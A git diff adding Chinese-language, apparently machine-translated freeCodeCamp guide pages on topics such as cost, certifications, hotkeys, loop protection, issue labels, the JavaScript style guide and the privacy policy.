diff --git a/client/src/guide/chinese/meta/free-code-camp-completion-timeframe/index.md b/client/src/guide/chinese/meta/free-code-camp-completion-timeframe/index.md
new file mode 100644
index 0000000000..bd4a99a4e8
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-completion-timeframe/index.md
@@ -0,0 +1,14 @@
+---
+title: Free Code Camp Completion Timeframe
+localeTitle: 免费代码营完成时间表
+---
+完成免费代码营大约需要2,080小时。
+
+免费代码营完全在线，并且总会有其他人在你的技能水平上，你可以配对程序，所以你可以按照自己的节奏学习。以下是一些示例编码计划：
+
+预算时间|每周工作时间|几周完成  
+\--- | --- | ---  
+周末|每周10小时| 208周（48个月）  
+夜晚和周末|每周20小时| 104周（24个月）  
+全职|每周40小时| 52周（12个月）  
+传统的Bootcamp起搏| 80小时/周| 26周（6个月）
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-cost/index.md b/client/src/guide/chinese/meta/free-code-camp-cost/index.md
new file mode 100644
index 0000000000..af0a5f3372
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-cost/index.md
@@ -0,0 +1,11 @@
+---
+title: Free Code Camp Cost
+localeTitle: 免费代码营成本
+---
+对于学生和非营利组织，我们将永远免费。
+
+我们的名字是免费代码营。我们是一个免费的代码阵营。如果您必须向我们付款（或签署未来收入），我们必须更改我们的名称。我们不打算这样做。
+
+在我们的社区和我们的开源项目上工作的每个人都是志愿者。
+
+我们计划通过从雇用我们毕业生的公司获得工作安置奖金来最终支付我们的运营成本。请注意，我们实际上不会从毕业生那里收取任何工资 - 雇主已经向招聘人员支付了数千美元来找到成功的候选人。雇主只需向Free Code Camp支付招聘奖金，而不是向招聘人员付款。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-deployment-workflow/index.md b/client/src/guide/chinese/meta/free-code-camp-deployment-workflow/index.md
new file mode 100644
index 0000000000..065183f662
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-deployment-workflow/index.md
@@ -0,0 +1,12 @@
+---
+title: Free Code Camp Deployment Workflow
+localeTitle: 免费代码阵营部署工作流程
+---
+1.  编写所有代码并将其推送到开发人员自己的Free Code Camp分支上。
+2.  开发人员创建拉取请求，将代码从其分支中提取到Free Code Camp的暂存分支。
+3.  除了提交拉取请求QA的人之外的其他人的拉动请求，如果一切都很完美，则接受它。否则，他们会关闭拉取请求并解释为什么它不完美，并且开发人员在修复后再打开另一个拉取请求。
+4.  Master定期部署到freecodecamp.com。
+
+## 笔记：
+
+*   一旦我们获得更好的测试覆盖率和持续集成工作，这可能会发生变化。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-external-resources-recommendations/index.md b/client/src/guide/chinese/meta/free-code-camp-external-resources-recommendations/index.md
new file mode 100644
index 0000000000..88d056b74f
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-external-resources-recommendations/index.md
@@ -0,0 +1,55 @@
+---
+title: Free Code Camp External Resources Recommendations
+localeTitle: 免费代码营外部资源建议
+---
+请注意，免费代码营不与以下任何提供商合作，也不会收到推荐费。我们只是希望帮助您指导您的组织解决方案。
+
+## 基于技能的志愿者组织：
+
+*   [http://givecamp.org/](http://givecamp.org/)
+*   [http://www.volunteermatch.com](http://www.volunteermatch.com)
+*   [http://www.catchafire.org](http://www.catchafire.org)
+*   [http://anyonecanhaveawebsite.com](http://anyonecanhaveawebsite.com)
+
+## 建立一个网站：
+
+*   [http://www.wix.com/](http://www.wix.com/)
+*   [https://www.squarespace.com/](https://www.squarespace.com/)
+*   [https://wordpress.com/](https://wordpress.com/)
+*   [https://xprs.imcreator.com](https://xprs.imcreator.com)
+*   [或者免费构建它而无需编写任何代码](https://forum.freecodecamp.com/t/how-to-build-a-website-without-writing-any-code/19503)
+
+## 捐助者和志愿者管理系统
+
+*   [http://causesignal.com](http://causesignal.com)
+*   [https://www.thedatabank.com/](https://www.thedatabank.com/)
+*   [http://www.donorsnap.com/](http://www.donorsnap.com/)
+*   [http://www.donorperfect.com/](http://www.donorperfect.com/)
+*   [https://www.blackbaud.com/fundraising-crm/etapestry-donor-management](https://www.blackbaud.com/fundraising-crm/etapestry-donor-management)
+*   [http://www.z2systems.com](http://www.z2systems.com/)
+*   [http://www.regpacks.com/volunteer-management](http://www.regpacks.com/volunteer-management/)
+*   [http://sumac.com](http://sumac.com/)
+*   [http://www.volgistics.com](http://www.volgistics.com)
+
+## 库存管理系统
+
+*   [https://www.ezofficeinventory.com/industries/non-profits](https://www.ezofficeinventory.com/industries/non-profits)
+*   [https://www.ordoro.com](https://www.ordoro.com)
+*   [http://www.unleashedsoftware.com](http://www.unleashedsoftware.com)
+
+## 电子学习平台
+
+*   [http://www.dokeos.com](http://www.dokeos.com/)
+*   [http://www.efrontlearning.net/](http://www.efrontlearning.net/)
+*   [https://moodle.org/](https://moodle.org/)
+*   [https://sakaiproject.org/](https://sakaiproject.org/)
+
+## 社区管理
+
+*   [https://civicrm.org/](https://civicrm.org/)
+*   [http://tcmgr.com/](http://tcmgr.com/)
+
+## 电子表格
+
+*   [http://www.google.com/forms](http://www.google.com/forms)
+*   [http://www.typeform.com](http://www.typeform.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-full-stack-development-certification/index.md b/client/src/guide/chinese/meta/free-code-camp-full-stack-development-certification/index.md
new file mode 100644
index 0000000000..14a0cb14f7
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-full-stack-development-certification/index.md
@@ -0,0 +1,30 @@
+---
+title: Free Code Camp Full Stack Development Certification
+localeTitle: 免费代码营全栈开发认证
+---
+## 免费代码营全栈开发认证
+
+### 概观
+
+有六个freeCodeCamp证书，通过在[learn.freecodecamp.org](https://learn.freecodecamp.org/)完成相应的课程和所需项目[获得](https://learn.freecodecamp.org/) ：
+
+*   响应式网页设计
+*   算法和数据结构
+*   前端库
+*   数据可视化
+*   API和微服务
+*   信息安全和质量保证
+
+完成所有六个证书后，将发布freeCodeCamp [全栈开发计划证书](https://guide.freecodecamp.org/meta/free-code-camp-full-stack-development-certification/) 。最后的区别意味着通过广泛的Web开发工具完成大约1,800小时的编码。
+
+*   如果您的名称未显示在证书上，请确保已链接您的GitHub，并且您的GitHub个人资料已填写完毕。
+
+![样本全栈开发计划证书的图像](//discourse-user-assets.s3.amazonaws.com/original/2X/1/1150a2e2473730df906909f820e3d8fdf54d6c14.png)
+
+有关新认证计划的更多信息，请参阅[此处](https://www.freecodecamp.org/forum/t/freecodecamps-new-certificates-heres-how-were-rolling-them-out/141618)的论坛帖子。
+
+### 非营利组织的编码
+
+非营利组织的编码现在是与证书计划不同的过程。可以在[Open Source for Good中](https://www.freecodecamp.org/nonprofits/)访问当前对贡献开放的项目。
+
+有关新认证计划的更多信息，请参阅[此处](https://www.freecodecamp.org/forum/t/freecodecamps-new-certificates-heres-how-were-rolling-them-out/141618)的论坛帖子。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-honesty-policy/index.md b/client/src/guide/chinese/meta/free-code-camp-honesty-policy/index.md
new file mode 100644
index 0000000000..067d8f4d47
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-honesty-policy/index.md
@@ -0,0 +1,13 @@
+---
+title: Free Code Camp Honesty Policy
+localeTitle: 免费守则营诚信政策
+---
+在我们向露营者签发经过验证的证书之前，他或她必须接受我们的学术诚信承诺，其中包括：
+
+1.  我理解剽窃意味着复制别人的工作并将工作呈现为我自己的工作，而不是明确地归咎于原作者。
+    
+2.  我知道抄袭是一种智力不诚实行为，人们通常会被赶出大学或被解雇，如果他们被抓获剽窃。
+    
+3.  除了使用jQuery和Bootstrap等开源库，以及明显归功于原作者的简短代码片段，我的算法，后端项目和前端项目中的100％代码都是由我或其他人编写的。和我一起编程的露营者。
+    
+4.  我承诺我没有抄袭我的任何Free Code Camp工作，并且我可以通过任何随机审计免费代码营来确认这一点。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-hotkeys/index.md b/client/src/guide/chinese/meta/free-code-camp-hotkeys/index.md
new file mode 100644
index 0000000000..1c006b2534
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-hotkeys/index.md
@@ -0,0 +1,34 @@
+---
+title: Free Code Camp Hotkeys
+localeTitle: 免费代码营热键
+---
+freeCodeCamp有许多热键，因此高级用户可以快速到处走动。
+
+## 如何使用热键
+
+要使用这些热键，您应该按照显示的顺序按键。重要的是要注意你不要同时按它们。
+
+### 重定向热键
+
+g n n重定向到下一个挑战  
+g n a重定向到about页面  
+g n m重定向到地图  
+g n s重定向到商店  
+g n o重定向到设置  
+g n r重定向到Free Code Camp GitHub存储库  
+g n w重定向到论坛
+
+### 编辑热键
+
+应该同时按下这些热键，而不是按顺序。
+
+Ctrl + Enter运行测试。如果前一次测试成功，则提交挑战并转到下一个  
+Ctrl + /注释或取消注释当前行或所选代码
+
+### 其他热键
+
+g m切换地图抽屉  
+g t n切换夜间模式  
+g c切换主聊天（Gitter）
+
+Esc如果在搜索输入处于焦点时按此按钮，则会清空输入
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-infinite-loop-protection/index.md b/client/src/guide/chinese/meta/free-code-camp-infinite-loop-protection/index.md
new file mode 100644
index 0000000000..55503a02e6
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-infinite-loop-protection/index.md
@@ -0,0 +1,33 @@
+---
+title: Free Code Camp Infinite Loop Protection
+localeTitle: 免费Code Camp无限循环保护
+---
+免费代码营代码运行器具有内置的无限循环保护功能，利用[JSBin的Loop Protect](https://github.com/jsbin/loop-protect) 。循环保护将一些代码注入到用户创建的循环中，以便在超过约500ms的情况下安全退出而不退出循环。循环保护将捕获许多但不是所有无限循环问题。如果您看到此消息：
+
+`Error: Potential infinite loop at line X`
+
+这意味着您已受到无限循环保护。
+
+**注意：** Loop Protect无法检测无限递归。
+
+## 禁用循环保护
+
+在某些情况下 - 慢速计算机或长循环 - 您可能会得到不正确的循环保护。要禁用循环保护，请在循环保护消息列出的行中添加以下注释：
+
+`//noprotect`
+
+**警告：**禁用循环保护意味着您可能会允许代码进入无限循环，从而导致浏览器无响应。
+
+## 恢复无响应的代码
+
+如果您有错误且错误地禁用了环路保护并且现在没有响应的解决方案，则可以禁用代码自动运行。
+
+默认情况下，Free Code Camp站点会自动加载并运行您最近录制的解决方案。如果您不小心创建了无限循环或其他不可恢复的错误，或者只是不信任该代码，您可以通过在URL中添加以下内容来禁用代码自动运行：run = disabled
+
+例：
+```
+URL: http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?solution=function%20meetBonfire(argument) 
+ 
+ No-Run URL: http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?run=disabled&solution=function%20meetBonfire(argument) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-issue-labels/index.md b/client/src/guide/chinese/meta/free-code-camp-issue-labels/index.md
new file mode 100644
index 0000000000..4d388f40c0
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-issue-labels/index.md
@@ -0,0 +1,75 @@
+---
+title: Free Code Camp Issue Labels
+localeTitle: 免费代码阵营问题标签
+---
+在本文中，您可以找到用于对提交给FCC的各种问题进行分类的标签（请参阅下表）以及说明（正在进行的工作）。标签范围从**错误**到**问题**到**课程要求** 。
+
+您可以使用标签来帮助您选择要点击的问题，而不是随机点击以找到您感兴趣的问题。当然，您可以处理并提交没有标签的问题的PR。但是，如果您选择了一个问题，请务必在提交任何拉取请求之前阅读[“贡献指南”](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/CONTRIBUTING.md) 。
+
+注意：标签**_被阻止_** ， **_确认_**和**_QA_**也与[Waffle](https://waffle.io/freecodecamp/freecodecamp) （FCC（GitHub）问题的管理系统）绑定，并由它自动添加和删除。
+
+**标签：**说明
+
+**可访问性：**该问题不一定会破坏网站，但会使其更难使用（例如，在您键入时用于评估的测试，这会导致整个屏幕闪烁）。该标签还标志着该网站对视力障碍或其他残疾人的可用性有所改善。
+
+**帐户：**露营者的FCC帐户存在问题，例如登录问题，丢失进度或缺少某些解决方案的个人资料页面。
+
+**beta：**该问题与FCC的测试版网站有关。
+
+**自行车脱落：**请求是微不足道的或基本上与网站的目的无关。换句话说，那些没有实际后果的问题，但人们坚持开支的时间。
+
+**阻止：**在等待创建者的响应或更多信息时，或者因为问题陈旧时不应该处理的问题。
+
+**bug：** FCC代码中确认且可重现的错误，不仅发生在Internet Explorer中。
+
+**chrome：**该问题只能在Google Chrome中重现。
+
+**已确认：**已报告的问题已经过验证。 （它基本上说问题创建者已成功传达了如何复制问题，但没有人开始努力解决问题。）
+
+**课程要求：**要求添加到当前课程中的任何内容 - 例如，请求新的挑战，为挑战添加更多解释等。
+
+**特定于设备：**该问题仅适用于特定设备（智能手机，平板电脑，台式机等）。
+
+**讨论：**此问题目前正处于讨论阶段。
+
+**重复：**此问题重复另一个问题，很可能会被关闭。
+
+**仅限第一次使用者：**这个问题并不重要，但营员们应该很容易在他们的前几个PR中修复。将这些视为露营者成为贡献者的门户。
+
+**增强功能：**与功能请求类似，但更多与改进现有功能相关，而不是添加新功能。
+
+**功能请求：**向FCC添加**功能的请求** 。例如，添加从露营者的个人资料页面编辑或删除算法的功能的请求。
+
+**firefox：**该问题只能在Mozilla Firefox中重现。
+
+**需要帮助：**业主或问题主持人需要营员帮助调查或解决问题。
+
+**加息：**该问题与**加息** （目前课程中没有）有关。
+
+**ie / edge：**该问题只能在Internet Explorer或Microsoft Edge中重现。 FCC官方仅支持Google Chrome。
+
+**正在进行中：**有人正在解决此问题。
+
+**必须尽快开始：**需要**尽快**审查/解决此问题。
+
+**路线图：**通常，计划在将来的更新中实施或将在不久的将来实施的功能请求。
+
+**质量保证:(**质量保证）已提交修复程序，需要在合并之前进行审核。
+
+**问题：**问题是一个问题。
+
+**重新解决：**问题与转向反应有关。
+
+**已解决：**问题已解决/已解决。
+
+**测试：**应该通过测试改进来解决问题，这意味着有人需要修复断言。
+
+**todo：**将来需要做的事情。
+
+**翻译：**该问题是翻译请求或与已实施的翻译相关。
+
+**ux :(**用户体验）类似于可访问性，但更少关于某些事情是否难以使用，而不是关于露营者遇到导致负面用户体验的问题。例如，当某些内容可能过于复杂或难以理解某个功能的使用时，会使用此标记。
+
+**wiki：**与FCC的GitHub Wiki文章有关。可能是创建一个请求。
+
+**wontfix：**问题不可修复或不会在不久的将来修复。例如，添加对MS Edge浏览器的支持。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-javascript-style-guide/index.md b/client/src/guide/chinese/meta/free-code-camp-javascript-style-guide/index.md
new file mode 100644
index 0000000000..5e16f3fd37
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-javascript-style-guide/index.md
@@ -0,0 +1,126 @@
+---
+title: Free Code Camp JavaScript Style Guide
+localeTitle: 免费Code Camp JavaScript风格指南
+---
+或者酷人如何编写JavaScript。
+
+## 缩进
+
+始终使用两个空格  
+没有硬标签，永远。不，真的，不要这样做。
+
+## 大括号
+
+使用关键字`if/else/else if`时，请始终使用花括号。这可以防止很多歧义，并且可以防止某些边缘情况下的语法错误。
+
+坏：
+```
+if (foo) bar(); 
+```
+
+好：
+```
+if (foo) { bar(); } 
+```
+
+## 到处都是卷曲的大括号！
+
+`function`关键字后的空格，匿名函数除外
+
+好：
+```
+function foo() { 
+ } 
+ 
+ var foo = function() { 
+  // ... 
+ }; 
+```
+
+坏：
+```
+function foo () 
+ { 
+  // ... 
+ } 
+ 
+ var foo = function () { 
+  // ... 
+ }; 
+```
+
+## 注释
+
+*   没有内联评论
+*   `//`之后的单个空格
+*   不要使用多行注释`/* */` ，我们保留这些用于jsDocs。
+
+## 关键词
+
+*   在if，else，while等之后的空格
+*   打开花括号应始终在同一行。
+
+好：
+```
+if (true) { 
+ // do the thing 
+ } 
+```
+
+坏：
+```
+if(true) 
+ { 
+ // do the thing 
+ } 
+```
+
+## 其他
+
+避免别的和“早点结束”。在JavaScript中经常有很多缩进（通常在处理异步代码并命名为“callback hell”时）。你能做的任何事都可以减少应该做的缩进次数。有一点是[避免使用else](http://blog.timoxley.com/post/47041269194/avoid-else-return-early)关键字。
+
+这也具有使代码更清晰且更易于阅读的副作用。
+
+坏：
+```
+someAsynFunc(function(err, data) { 
+  if (err) { 
+    callback(err); 
+  } else { 
+    // do stuff with data 
+  } 
+ }); 
+```
+
+好：
+```
+someAsynFunc(function(err, data) { 
+  if (err) { 
+    return callback(err); 
+  } 
+  // do stuff with data 
+  // saves one indent 
+ }); 
+```
+
+## 长串
+
+长多行字符串应采用以下两种形式之一：
+```
+var longString = 
+  'long strings should ' + 
+  'be in this form, with the ' + 
+  'operator ending the line'; 
+ 
+ var foo = 'bar'; 
+ 
+ var longString = [ 
+  'long strings with variables such as ', 
+  foo, 
+  'should ', 
+  'be in this form, an array of strings ', 
+  'that are joined with the join array instance method', 
+ ].join(''); 
+```
+
+......还有更多
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-logo/index.md b/client/src/guide/chinese/meta/free-code-camp-logo/index.md
new file mode 100644
index 0000000000..28fed410cf
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-logo/index.md
@@ -0,0 +1,11 @@
+---
+title: Free Code Camp Logo
+localeTitle: 免费代码营徽标
+---
+![免费Code Camp的标志](//discourse-user-assets.s3.amazonaws.com/original/2X/c/cf6e8e0a75acb7aa900eb304270a6407ae1d9e2c.jpg)
+
+它使用字体'saxmono'。
+
+与大多数Free Code Camp的设计资产一样，它是由[@rybar](https://gitter.im/rybar)在[@iheartkode](https://gitter.im/rybar)的帮助下[创建的](https://gitter.im/iheartkode) 。
+
+您可以从我们的[免费代码营资产存储库](https://github.com/FreeCodeCamp/FCCAssets)下载我们的所有资产，这些资产是Creative Commons许可的。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-official-chat-rooms/index.md b/client/src/guide/chinese/meta/free-code-camp-official-chat-rooms/index.md
new file mode 100644
index 0000000000..3a99ddadcf
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-official-chat-rooms/index.md
@@ -0,0 +1,23 @@
+---
+title: Free Code Camp Official Chat Rooms
+localeTitle: 免费密码营官方聊天室
+---
+### 注意：如果您来到这里是因为您看到一条消息，其中您所属的聊天室之一正在关闭，请[转到此处](//forum.freecodecamp.com/t/simplifying-fccs-gitter-chatrooms/37621) 。
+
+# 以下是我们的官方聊天室。
+
+**请注意，此处列出的所有聊天室均可公开访问并由搜索引擎编制索引，因此仅在私人消息中共享电子邮件地址或其他敏感信息。**
+
+[FreeCodeCamp](https://gitter.im/freecodecamp/FreeCodeCamp)我们的主要聊天室 - 闲逛和聊天生活和学习代码  
+[帮助](https://gitter.im/freecodecamp/Help)您解决来自同伴的HTML，CSS和jQuery挑战  
+[HelpJavaScript](https://gitter.im/freecodecamp/HelpJavaScript)可以帮助您解决来自同行的JavaScript和算法挑战  
+[HelpFrontEnd](https://gitter.im/freecodecamp/HelpFrontEnd)从您的同伴露营者[那里](https://gitter.im/freecodecamp/HelpFrontEnd)获得我们前端项目的帮助  
+[HelpDataViz](https://gitter.im/freecodecamp/HelpDataViz)从您的同伴露营者[那里](https://gitter.im/freecodecamp/HelpDataViz)获得我们的数据可视化项目的帮助  
+[HelpBackEnd](https://gitter.im/freecodecamp/HelpBackEnd)从您的同伴露营者[那里](https://gitter.im/freecodecamp/HelpBackEnd)获得我们后端项目的帮助  
+[CodeReview](https://gitter.im/freecodecamp/CodeReview)提供并接收您的同伴露营者对您项目的建设性反馈  
+[你可以](https://gitter.im/freecodecamp/YouCanDoThis)学习编码很难 - 在这里分享你的感受并获得道义上的支持  
+[LetsPair](https://gitter.im/FreeCodeCamp/LetsPair)找到其他可以与之配对的露营者  
+[CodingJobs](https://gitter.im/FreeCodeCamp/CodingJobs)聊聊了获取编码工作的过程，例如投资组合，网络和面试  
+[随便](https://gitter.im/freecodecamp/Casual)您可以在这里与其他露营者聊聊您的非编码兴趣  
+[贡献者](https://gitter.im/freecodecamp/Contributors)帮助我们改进开源课程  
+[DataScience](https://gitter.im/freecodecamp/DataScience)帮助我们理解公共数据的演出和演出
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-privacy-policy/index.md b/client/src/guide/chinese/meta/free-code-camp-privacy-policy/index.md
new file mode 100644
index 0000000000..380950e0c9
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-privacy-policy/index.md
@@ -0,0 +1,65 @@
+---
+title: Free Code Camp Privacy Policy
+localeTitle: 免费代码营隐私政策
+---
+Free Code Camp致力于尊重我们网站和网络应用程序访问者的隐私。以下指南解释了我们如何保护FreeCodeCamp.com访客的隐私及其功能。
+
+## 个人身份信息
+
+免费代码营通过限制个人身份信息的收集来保护FreeCodeCamp.com访问者的身份。
+
+除法律允许的情况外，免费代码营不会有意收集或索取13岁以下儿童的个人身份信息。如果我们发现我们已经收到违反本政策的13岁以下儿童的任何信息，我们将立即删除该信息。如果您认为Free Code Camp有任何关于13岁以下任何人的信息，请发送电子邮件至[team@freecodecamp.com](mailto:team@freecodecamp.com) 。
+
+Free Code Camp及其团队使用您提供给我们的所有个人身份信息来处理和管理您的帐户，分析用户的人口统计信息或通过网站提供服务。
+
+如果您选择向我们提供个人身份信息，您可能会收到我们的免费电子邮件，这些电子邮件与免费代码营，获得工作或学习一般代码有关。免费代码营还可以使用其他第三方提供商来促进上述服务的交付，并且这些第三方提供商可能仅为了向您提供这些服务而提供或可访问个人身份信息。代表免费代码营。
+
+免费代码营也可能在特殊法律情况下披露个人身份信息。例如，如果有必要保护我们的版权或知识产权，或者法律要求我们这样做，可以使用此类信息。
+
+## 匿名信息
+
+为了统计目的，可以向我们关联的其他组织提供匿名汇总数据。例如，我们可能会向组织报告我们网站的一定比例的访问者是年龄在25到35岁之间的成年人。
+
+## 饼干和信标 - 免费代码营使用;选择退出
+
+我们使用cookie和软件日志来监控FreeCodeCamp.com的使用，并收集有关该站点访问者的非个人信息。 Cookie是Free Code Camp传输到访问者硬盘的小文件，用于保存记录。这些监控系统允许我们跟踪有关访问者的一般信息，例如浏览器的类型（例如，Firefox或Internet Explorer），操作系统（例如，Windows或Macintosh）或Internet提供商（例如，Comcast） ） 他们使用。此信息用于统计和市场研究目的，以根据使用模式定制内容并提供客户要求的服务。要删除这些cookie，请参阅浏览器的隐私设置。
+
+信标是放置在网页代码中的电子文件对象（通常是透明图像）。我们使用第三方信标来监控访问者从一个免费代码Camp.com页面到另一个访问者的流量模式，并提高网站性能。我们以这种方式收集的信息均不能用于识别访问我们网站的任何个人。
+
+## 安全
+
+通过本网站收集的任何个人身份信息都存储在访问受限的服务器上。我们将维护保护措施以保护这些服务器及其存储的信息。
+
+## 调查
+
+我们偶尔会进行在线调查。所有调查都是自愿的，您可以拒绝参加。
+
+## 版权
+
+FreeCodeCamp.com上的所有内容的版权归Free Code Camp所有。如果您想重新分发它，而不仅仅是通过社交媒体分享，请通过[team@freecodecamp.com](mailto:team@freecodecamp.com)与我们联系。
+
+## 联系我们
+
+如果您对免费代码营有疑问，或更正，更新或删除个人身份信息，请发送电子邮件至[team@freecodecamp.com](mailto:team@freecodecamp.com) 。
+
+## 与其他网站的链接
+
+免费代码营的网站均包含指向其他网站的链接。免费代码营不对这些第三方网站的隐私惯例或内容负责。我们敦促所有FreeCodeCamp.com访问者遵循安全的互联网做法：除非您已经验证了他们的安全和隐私政策，否则不要向这些网站提供个人身份信息。
+
+## 数据保留
+
+我们会在必要时保留您的信息，以便我们将其用于我们已与您沟通并遵守适用法律或法规的目的。
+
+## 业务转移
+
+随着我们继续发展业务，我们可能会出售或购买子公司或业务部门。在此类交易中，客户信息通常是转让的商业资产之一，但仍受任何预先存在的隐私政策中的承诺的约束（当然，除非客户另有同意）。此外，万一免费代码营或其绝大部分资产被收购，客户信息将成为转让资产之一，并将继续遵守我们的隐私政策。
+
+## 您的加州隐私权
+
+如果您是加利福尼亚州居民，您有权阻止与第三方共享您的个人信息，以便通过免费的方式进行营销。如果您向上述地址发送请求，免费代码营将向您提供加州客户选择通知，您可以选择退出此类信息共享。要收到此通知，请向[team@freecodecamp.com](mailto:team@freecodecamp.com)提交书面请求，说明您要求“加州客户选择通知”。请至少提前三十（30）天作出回复。
+
+## 接受隐私政策条款和条件
+
+使用本网站即表示您同意本FreeCodeCamp.com隐私政策的条款和条件。如果您不同意这些条款，请不要使用本网站。我们保留自行决定随时更改，修改，添加或删除本政策部分内容的权利。所有修改后的条款自最初在网站上发布后30天自动生效。请定期查看本页面以了解任何修改。在发布对这些条款的任何更改后，您继续使用FreeCodeCamp.com即表示您已接受这些更改。
+
+如果您有任何问题或疑虑，请发送电子邮件至[team@freecodecamp.com](mailto:team@freecodecamp.com) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-site-improvement-august-2015/index.md b/client/src/guide/chinese/meta/free-code-camp-site-improvement-august-2015/index.md
new file mode 100644
index 0000000000..20029f9991
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-site-improvement-august-2015/index.md
@@ -0,0 +1,32 @@
+---
+title: Free Code Camp Site Improvement August 2015
+localeTitle: 免费守则营地改善2015年8月
+---
+## 周日的改进
+
+*   用简单的10分钟流程（使用GIF代替视频）替换了我们的入门视频
+*   我们的HTML5和Bootstrap挑战数量增加了一倍
+*   用我们自己的挑战取代了Codecademy的JavaScript和jQuery挑战
+*   添加了我们自己的面向对象编程和功能编程挑战
+*   增加了两个新的前端项目前端挑战（个人作品集和西蒙游戏），并将我们的前端项目提升到课程的早期阶段
+*   用可搜索且易于编辑的开源wiki完全取代了我们的Field Guide
+*   这样你的算法代码存储在浏览器中，所以如果你离开页面，当你回来时你的代码就会存在
+*   简化我们的投资组合页您现在可以单击一个按钮，使用您的GitHub配置文件镜像您的Free Code Camp配置文件。这里不再显示算法解决方案，但最终可以通过我们的API访问它们。
+*   解决了Brownie Points和Streaks的一些问题
+*   通过删除（大部分未使用的）评论并添加一键提升来改进我们的Camper News页面
+*   我们为所有图片和文字添加了知识共享许可
+*   感谢Loopback，现在一切都是API，我们很快就会发布与Free Code Camp（非敏感）数据进行交互的很酷方式
+
+## 常问问题
+
+### 我最近所做的挑战消失了。
+
+你可以坚持下去。如果您有时间回去尝试我们的新挑战，那么应该快速回顾一下。否则，继续前进。
+
+### 为什么要一次部署所有这些改进？
+
+我们已经在Staging分支上工作了几个月的一些功能。他们中的大多数都被一项任务所阻碍：我们向[Loopback](http://loopback.io/)过渡。 [@BerkeleyTrue](/users/berkeleytrue)在三月开始研究这个问题。
+
+### 是否必须立即部署所有内容？
+
+可能不是。展望未来，我们将每天多次部署新代码（正如我们在Loopback功能之前所做的那样）。我们计划在减少[技术债务时](https://en.wikipedia.org/wiki/Technical_debt)开始使用[持续集成](https://en.wikipedia.org/wiki/Continuous_integration)和其他敏捷最佳实践。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-streaks/index.md b/client/src/guide/chinese/meta/free-code-camp-streaks/index.md
new file mode 100644
index 0000000000..227409b60d
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-streaks/index.md
@@ -0,0 +1,9 @@
+---
+title: Free Code Camp Streaks
+localeTitle: 免费Code Camp Streaks
+---
+您的用户个人资料会显示您最近的活如果你连续几天获得[布朗尼积分](http://forum.freecodecamp.com/t/free-code-camp-brownie-points/18380) ，你就会开始连胜。
+
+![一张露营者的条纹读数图片显示了21天的连胜纪录](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8e538a398b1081372505f02ad173e326fe0f5825.png)
+
+这向大家展示了您在我们的社区中非常活跃，并且您编写了很多代码。当您学习编码时， [每天至少编写一些代码](http://www.quora.com/How-does-one-become-a-great-coder/answer/Quincy-Larson)非常重要。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-style-guide-for-algorithms/index.md b/client/src/guide/chinese/meta/free-code-camp-style-guide-for-algorithms/index.md
new file mode 100644
index 0000000000..f35fc05415
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-style-guide-for-algorithms/index.md
@@ -0,0 +1,20 @@
+---
+title: Free Code Camp Style Guide for Algorithms
+localeTitle: 免费代码营风格指南
+---
+编写算法挑战是锻炼自己解决问题和测试能力的好方法。密切关注此过程，以最大限度地提高我们接受您的算法的机会。
+
+*   分叉Free Code Camp存储库并打开`seed_data/Algorithms.json`以熟悉我们的算法格式。
+*   无论您的算法有何困难，请将其作为JSON文件中的最后一个算法。更改ID中的一个数字以确保您的算法具有唯一ID。
+*   在终端中，运行`node seed_data/seed.js`跑了`gulp` 。您应该能够在挑战地图中导航到新算法。每当您对Algorithm.json进行更改时，您都需要重新设置才能在浏览器中查看这些更改。
+*   解决你自己的算法。确认您的测试按预期工作，并且您的说明足够清晰。
+*   向Pull Code Camp的Staging分支提交拉取请求，并在拉取请求正文中链接到具有算法解决方案的要点。
+
+以下是每个算法字段的说明。
+
+*   名称 - 挑战的名称。这是幽默的，但它必须简短而且与任务相关。
+*   难度 - 与现有算法挑战相比，尝试评估难度。算法难度的一个很好的代理是你需要多长时间才能解决它。每15分钟一次，增加难度。例如，一小时算法可能应该是4。
+*   描述 - 带换行符的单独段落。在用户点击“更多信息”按钮之前，只有第一段在用户之前可见。所有必要的信息必须包含在第一段中。尽可能简洁地写下第一段。如有需要，后续段落应提供提示或详细信息。如果您的主题需要更深入的了解，您可以链接到维基百科。
+*   挑战种子 - 这是你在露营者启动算法时设置编辑器中的内容的地方。
